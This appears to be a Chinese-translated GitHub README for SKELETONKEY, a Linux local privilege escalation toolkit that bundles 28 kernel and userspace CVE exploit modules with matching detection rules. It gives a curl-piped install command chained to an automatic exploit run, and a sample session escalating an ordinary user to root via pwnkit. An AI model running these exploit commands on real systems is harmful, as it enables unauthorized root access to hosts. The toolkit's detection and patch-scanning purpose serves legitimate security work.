KaraZajac/SKELETONKEY

GitHub: KaraZajac/SKELETONKEY

一个持续维护的Linux本地提权(LPE)漏洞利用与检测规则集成工具集,旨在为红蓝队提供标准化、自动化且安全的渗透测试与威胁检测能力。

Stars: 0 | Forks: 0

# SKELETONKEY [![最新版本](https://img.shields.io/github/v/release/KaraZajac/SKELETONKEY?label=release)](https://github.com/KaraZajac/SKELETONKEY/releases/latest) [![License: MIT](https://img.shields.io/badge/license-MIT-blue.svg)](LICENSE) [![模块](https://img.shields.io/badge/modules-28-brightgreen.svg)](CVES.md) [![平台: Linux](https://img.shields.io/badge/platform-linux-lightgrey.svg)](#) ``` curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \ && skeletonkey --auto --i-know ``` ## 为何使用 大多数 Linux 提权工具存在以下三种问题之一: - **`linux-exploit-suggester` / `linpeas`** — 仅提示哪些*可能*有效,并不实际执行 - **`auto-root-exploit` / `kernelpop`** — 打包了漏洞利用代码,但缺乏检测特征且早已停止更新多年 - **单个 CVE 的 PoC 仓库** — 单一作者,针对特定发行版,数月内即被弃用 SKELETONKEY 是一个单一可执行文件,持续维护,并为捆绑包中的每个 CVE 提供检测规则 — 是同一个同时适用于红队和蓝队的项目。 ## 适用对象 | 受众 | 您将获得 | |---|---| | **红队 / 渗透测试人员** | 一个经过测试的二进制文件。`--auto` 根据安全性对易受攻击的模块进行排序并运行最安全的一个。诚实的作用域报告 — 绝不声称获得了实际未得到的 root 权限。 | | **系统管理员** | `skeletonkey --scan`(无需 sudo)可告知您哪些主机仍需打补丁。包含集群扫描工具。JSON 输出适用于 CI 门禁。 | | **蓝队 / SOC** | 针对每个 CVE 的 auditd + sigma + yara + falco 规则。`--detect-rules --format=auditd \| sudo tee …` 一条命令即可生成 SIEM 覆盖规则。 | | **CTF / 训练** | 基于公开 CVE、跨越 10 年时间线的可复现本地提权环境。每个模块都记录了漏洞、触发条件和修复方法。 | ## 语料概览 **28 个模块**,涵盖 2016 → 2026 年的本地提权时间线: | 等级 | 数量 | 含义 | |---|---|---| | 🟢 完整链 | **14** | 可端到端获取 root 权限(或其等效能力)。无需针对特定内核的偏移量。 | | 🟡 原语 | **14** | 触发内核原语 + 塑造 slab + 记录见证。默认会诚实地返回 `EXPLOIT_FAIL`。传递 `--full-chain` 以启用共享的 `modprobe_path` 完成器(需要偏移量 — 参见 [`docs/OFFSETS.md`](docs/OFFSETS.md))。 | **🟢 在易受攻击主机上获取 root 的模块:** copy_fail 系列 ×5 · dirty_pipe · dirty_cow · pwnkit · overlayfs (CVE-2021-3493) · overlayfs_setuid (CVE-2023-0386) · cgroup_release_agent · ptrace_traceme · sudoedit_editor · entrybleed (KASLR 泄露原语) **🟡 可选 `--full-chain` 的模块:** af_packet · af_packet2 · af_unix_gc · cls_route4 · fuse_legacy · nf_tables · nft_set_uaf · nft_fwd_dup · nft_payload · netfilter_xtcompat · stackrot · sudo_samedit · sequoia · vmwgfx 参见 [`CVES.md`](CVES.md) 了解每个模块对应的 CVE、内核范围和检测状态。 ## 快速入门 ``` # 安装(x86_64 / arm64;校验和已验证) curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh # 此系统存在什么漏洞?(无需sudo权限) skeletonkey --scan # 选择最安全的LPE并执行 skeletonkey --auto --i-know # 部署检测规则(需sudo权限写入 /etc/audit/rules.d/) skeletonkey --detect-rules --format=auditd \ | sudo tee /etc/audit/rules.d/99-skeletonkey.rules # Fleet扫描 — 通过SSH连接多台主机,生成聚合JSON供SIEM使用 ./tools/skeletonkey-fleet-scan.sh --binary skeletonkey \ --ssh-key ~/.ssh/id_rsa hosts.txt ``` **SKELETONKEY 以普通非特权用户身份运行** — 这正是其设计要点。 `--scan`、`--audit`、`--exploit` 和 `--detect-rules` 均无需 `sudo` 即可工作。只有 `--mitigate` 和规则文件安装会写入 root 所有的路径。 ### 示例:非特权 → root ``` $ id uid=1000(kara) gid=1000(kara) groups=1000(kara) $ skeletonkey --auto --i-know [*] auto: host=demo kernel=5.15.0-56-generic arch=x86_64 [*] auto: scanning 28 modules for vulnerabilities... [+] auto: dirty_pipe VULNERABLE (safety rank 90) [+] auto: cgroup_release_agent VULNERABLE (safety rank 98) [+] auto: pwnkit VULNERABLE (safety rank 100) [*] auto: 3 vulnerable modules found. Safest is 'pwnkit' (rank 100). [*] auto: launching --exploit pwnkit... [+] pwnkit: writing gconv-modules cache + payload.so... [+] pwnkit: execve(pkexec) with NULL argv + crafted envp... # id uid=0(root) gid=0(root) groups=0(root) ``` 安全等级排序如下:**结构性逃逸**(不触及内核状态)→ **页面缓存写入** → **用户空间凭证竞争** → **内核原语** → **内核竞争**(最不可预测)。目标是 在寻找 root 权限时绝不崩溃生产服务器。 ## 工作原理 每个 CVE(或紧密相关的家族)是 `modules/` 目录下的一个**模块**。 模块导出一个标准接口(`detect / exploit / mitigate / cleanup`)以及元数据(内核范围、检测规则文本)。顶层 二进制文件根据命令进行调度: - `--scan` 对运行的主机遍历每个模块的 `detect()` - `--exploit --i-know` 运行指定模块的漏洞利用(`--i-know` 标志是授权门禁) - `--auto --i-know` 执行扫描,按安全性排序,运行最安全的一个 - `--detect-rules --format=` 输出内嵌的规则语料库 - `--mitigate ` / `--cleanup ` 应用 / 撤销临时缓解措施(取决于模块 — 多数内核模块会建议“升级”) - `--dump-offsets` 读取 `/proc/kallsyms` + `/boot/System.map` 并生成一个可直接粘贴到 `--full-chain` 偏移量表的 C 语言条目 参见 [`docs/ARCHITECTURE.md`](docs/ARCHITECTURE.md) 了解模块加载器设计。 ## 已验证 vs 声称的标准 大多数公开的 PoC 仓库为特定内核版本硬编码了偏移量,在其他地方会静默失败。SKELETONKEY 拒绝提供伪造的偏移量。共享的 `--full-chain` 完成器仅在 setuid bash 哨兵文件*实际出现*后返回 `EXPLOIT_OK`;否则模块会诚实地返回 `EXPLOIT_FAIL` 并附带诊断信息。操作者通过 `skeletonkey --dump-offsets` 为每个目标内核填充一次偏移量表,然后通过环境变量设置或通过 PR 提交条目 ([`CONTRIBUTING.md`](CONTRIBUTING.md))。 ## 从源码构建 ``` git clone https://github.com/KaraZajac/SKELETONKEY.git cd SKELETONKEY make ./skeletonkey --version ``` 在任何现代 Linux 上,使用 gcc 或 clang 均可干净构建。macOS 开发版本也可编译(具有 Linux 专有头文件的模块会被优雅地桩化处理)。 ## 状态 **v0.5.0 于 2026-05-17 发布。** 28 个模块。在 Debian 13(内核 6.12)上均构建干净,并在已打补丁的主机上干净地拒绝执行。下一步路线图是在易受攻击的内核 VM 矩阵上进行实证端到端验证;在那之前,本语料库最好理解为“可编译 + 可检测 + 结构正确 + 失败时诚实”。 参见 [`ROADMAP.md`](ROADMAP.md) 了解计划中的后续模块和基础设施工作。 ## 致谢 每个模块在其 `NOTICE.md` 中注明了原始 CVE 报告者和 PoC 作者。SKELETONKEY 是打包和记账层;研究的荣誉属于发现漏洞的人们。 ## 许可证 MIT — 参见 [`LICENSE`](LICENSE)。
标签:API安全, CI集成, CTF工具, CVE模块, Falco规则, JSON输出, Linux提权, LPE工具, Sigma规则, SKELETONKEY, Web报告查看器, Yara规则, 内核漏洞, 子域名枚举, 安全测试, 审计规则, 客户端加密, 扫描工具, 攻击性安全, 检测规则, 漏洞搜索, 特权提升, 目标导入, 系统安全, 网络资产发现, 自动root, 自动化部署